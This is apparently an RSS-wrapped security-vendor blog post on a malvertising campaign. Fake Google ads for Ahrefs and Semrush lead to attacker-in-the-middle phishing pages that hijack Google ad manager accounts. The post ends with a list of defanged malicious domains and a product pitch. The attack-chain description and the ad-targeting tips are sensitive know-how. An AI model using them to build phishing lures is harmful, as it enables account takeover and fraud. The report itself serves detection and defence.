      <description>New samples linked to a Push-tracked malvertising campaign detected, targeting Google accounts via an Ahrefs lure. </description>
      <content:encoded><![CDATA[<p>In recent months, we’ve seen a significant increase in the number of attacks targeting ad manager accounts. These attacks ultimately serve up an Attacker-in-the-Middle (AITM) phishing page designed to steal the victim’s Google account. </p><p>Most recently, we reported on:</p><ul><li><p>A campaign running <a href="https://pushsecurity.com/blog/analysing-a-malvertising-attack-targeting-business-google-accounts/"><u>fake malvertising ads for “Google Ads”</u></a> in Google Search. </p></li><li><p>A campaign using sophisticated <a href="https://pushsecurity.com/blog/uncovering-a-calendly-themed-phishing-campaign/"><u>Calendly-themed phishing lures</u></a> targeting marketing professionals.</p></li></ul><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/4thOH70HwzZnhzWcU2zUAP/cf64ff8825037b233d5ab34bdb11d97f/image4.png" alt="We reported on this campaign running malicious ads for “Google Ads” in December."/><figcaption>We reported on this campaign running malicious ads for “Google Ads” in December.</figcaption></figure><p>Now, we’ve seen the Google Ads malvertising campaign expand to run additional ads impersonating Ahrefs, an AI marketing platform. Crucially, employees with access to Ahrefs are highly likely to also have access to Google Ads, meaning that attackers can reliably target Google accounts via Ahrefs. </p><p>You can see a demo of the phishing chain below. </p><p><b>Update 24th February: </b>We discovered additional activity relating to this campaign with more Ahrefs malvertising on Google Search, this time pointing to fake domains hosted on surge[.]sh. We also blocked Push customers from interacting with a similar ad impersonating Semrush, also hosted on surge[.]sh. </p><p>New IoCs have been added and you can see a video of this new attack below. </p><hr/><h1><b>Attack breakdown</b></h1><p>Users searching for “ahrefs” on Google Search were served with a fake ad impersonating Ahrefs, hosted on Squarespace, a legitimate website building and hosting platform. Previously, we’d seen this campaign use hosting sites Odoo and Kartra to similar effect. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/6pfKxxRmvykxJ2t5xFJmpz/fc8d3d65b22beea965f1a45dae0b249c/image1.png" alt="Ahrefs malvertising lure"/><figcaption>Ahrefs malvertising link featured on Google Search under &quot;Sponsored Results&quot;</figcaption></figure><p>Upon clicking the link, the victim was taken to a clone of the real Ahrefs site. Crucially, you can see that the domain is not the official Ahrefs domain. </p><p>Notably, the site’s language is set to Brazilian Portuguese in the HTML (lang=&quot;pt-BR&quot;). Based on this, the campaign is likely linked to the same threat actors <a href="https://www.malwarebytes.com/blog/news/2025/01/the-great-google-ads-heist-criminals-ransack-advertiser-accounts-via-fake-google-ads"><u>reported by MalwareBytes in January 2025</u></a>. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/6vlPpGpLhMOTo5ijMxZav0/bfe816a0f301914d334ec9db9dfa56b1/image2.png" alt="Fake Ahrefs landing page"/><figcaption>Fake Ahrefs landing page</figcaption></figure><p>However, the site is not fully interactable beyond the front page. Clicking on any link takes the user to a Google sign-in page. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/5uh2f3ONpNQgMssDfdtALK/1edd93a6365e60049a01367b7b7b9448/image4.png" alt="Cloned Google login page used to perform AITM phishing"/><figcaption>Cloned Google login page used to perform AITM phishing</figcaption></figure><p>This is in fact an AITM phishing page that is designed to hijack the victim’s Google account. Entering credentials and completing the MFA check will result in the attacker stealing the app session and effectively taking over the account. The phishing kit used matches <a href="https://pushsecurity.com/blog/analysing-a-malvertising-attack-targeting-business-google-accounts/">the previous malvertising detected impersonating Google Ads</a>. </p><hr/><h1><b>Why are attackers targeting ad manager accounts?</b></h1><p>Ad Manager accounts on platforms like Google, Facebook, and LinkedIn have become lucrative targets for cybercriminals. By compromising these accounts, attackers can exploit the digital advertising ecosystem in various ways for financial gain. </p><p>The ad industry’s scale makes it attractive to fraud. Estimates suggest digital ad fraud cost advertisers tens of billions, potentially nearing $100 billion or more, with projections reaching $172 billion by 2028.</p><p>A hijacked Google Ad Manager account gives attackers access to significant ad spend and account data which can be monetized illicitly. The tactics range from stealthy ad fraud to overt abuse like malicious ads or extortion schemes.</p><p>Pretty much every enterprise today advertises their services via Google ads — this makes attacks on these accounts pretty much a unanimous problem. Agencies managing numerous client accounts are put further at risk. For example, if an attacker can compromise an MCC account (used to manage several ad accounts) they get full access to the customer portfolio. </p><p>It’s also worth noting that a Google Ad Manager account is also an enterprise SSO account that can be used to access broader Google Workspace services and any connected apps that are SSO-enabled. </p><p>Even if the victim isn’t predominantly a Google house, a Google account using the same email as a different identity provider account (e.g. Microsoft) can still be used to access downstream apps via SSO. This is because most apps use email as an identifier, while 3 in 5 apps also allow you to access an account using a new login method without doing any further verification checks. </p><p><b>Read our </b><a href="https://pushsecurity.com/blog/cross-idp-impersonation/"><b><u>blog post on cross-IdP impersonation</u></b></a><b> for more information. </b></p><p>Learn more about why attackers are targeting ad manager accounts <a href="https://pushsecurity.com/blog/cyber-criminal-ecosystem-analysis">in our blog post</a>. </p><hr/><h1><b>Why malvertising? </b></h1><p>Malvertising scams happen across lots of different sites, but the most common platform we see targeted is Google Search. This takes advantage of users browsing to find a website and clicking the first link that appears — in this case a fake sponsored link taking you to the attacker’s page. </p><p>Malvertising attacks delivered over channels like Google Search are a great way to catch victims unawares while also evading typically email-based anti-phishing controls. Malvertising is an increasingly popular attack vector for the delivery of AITM phishing, malware downloads, and <a href="https://pushsecurity.com/blog/the-most-advanced-clickfix-yet/"><u>ClickFix</u></a> (4 in 5 ClickFix attacks intercepted by Push were delivered via Google Search). This isn’t just targeting ad manager accounts — last year, we reported on campaigns impersonating <a href="https://pushsecurity.com/blog/analysing-a-sophisticated-google-malvertising-attack/"><u>TradingView</u></a>, <a href="https://pushsecurity.com/blog/phishing-with-active-directory-federation-services/"><u>Microsoft Office 365</u></a>, and <a href="https://pushsecurity.com/blog/investigating-a-recent-malvertising-campaign-targeting-onfido-customers/"><u>Onfido</u></a>, to name a few. </p><p>There’s a tendency to see malvertising as a more random attack, but Google Ads can be tuned to searches coming from specific geographic locations, tailored to specific email domain matches, or specific device types (e.g. desktop, mobile, etc.). If you know where your target organization is located, you can tailor the ad to that location. Even more precise ad targeting can be achieved on social media platforms. </p><p>Because these attacks completely circumvent the traditional phishing detection surface (email) and often happen entirely over the internet (meaning no endpoint security controls can come into play) the only way to reliably detect and stop these attacks is to intercept them where they happen — in the user’s web browser. </p><hr/><h1><b>How Push stopped the attack</b></h1><p>Regardless of the delivery channel, all roads lead to a web page accessed in the victim’s browser, where Push is waiting to detect and block the attack. Even if the page has never been previously flagged as suspicious or malicious, Push analyses the page in real time and blocks it — protecting against the latest zero-day threats.  </p><p>By seeing what your users see, and getting an unfiltered, real-time view of the page as it loads, Push is able to pinpoint malicious content, code, and behaviors and shut the attack down before it happens. Whether it&#39;s entering credentials onto a phishing page, approving a malicious OAuth grant, installing a risky browser extension, or insecurely accessing an app with a weak password and no MFA, Push detects the action and shuts it down.</p><p>Push blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, malicious OAuth grants, ClickFix, and session hijacking. You don’t need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.</p><p>To learn more about Push, <a href="https://pushsecurity.com/resources/product-brochure"><u>check out our latest product overview</u></a> or <a href="https://pushsecurity.com/demo"><u>book some time with one of our team for a live demo</u></a>.</p><hr/><h1><b>IoCs</b></h1><p>Short-lived IoCs are of limited value when tackling modern phishing attacks due to the rate at which attackers are able to <a href="https://phishing-techniques.pushsecurity.com/techniques/domain-rotation-redirection/"><u>quickly spin up and rotate the sites used</u></a> in the attack chain, often dynamically serving different URLs to site visitors. </p><p>That said, the domains observed in this chain were:</p><ul><li><p>comandd-ok[.]com</p></li><li><p>ahrefs-ac.squarespace[.]com</p></li><li><p>ahrefs-seo-app.squarespace[.]com</p></li><li><p>slgn-ahrefs-app-com.squarespace[.]com</p></li></ul><p>[Update 24th February] We also observed the following new domains:</p><ul><li><p>www-ahrefs-seo-ads[.]surge.sh</p></li><li><p>web-semrush-seo-wold[.]surge[.]sh</p></li><li><p>contabelforeehc[.]com</p></li><li><p>contabelfore[.]com</p></li></ul><p>In addition, the following domains were previously associated with the attacks we detected in December:</p><ul><li><p>ads-adsword1.odoo[.]com</p></li><li><p>sing-operador2[.]click/accounts/v3/login</p></li><li><p>adsgooglie.odoo[.]com/</p></li><li><p>word4only[.]online/</p></li><li><p>adsloginacess.kartra[.]com/page/oeN7</p></li><li><p>ads-o.odoo[.]com</p></li><li><p>operador8-ads[.]lat/accounts/v3/login/</p></li></ul><p><b>Push customers do not need to take any further action.</b></p>]]></content:encoded>
    </item>
  </channel>
</rss>
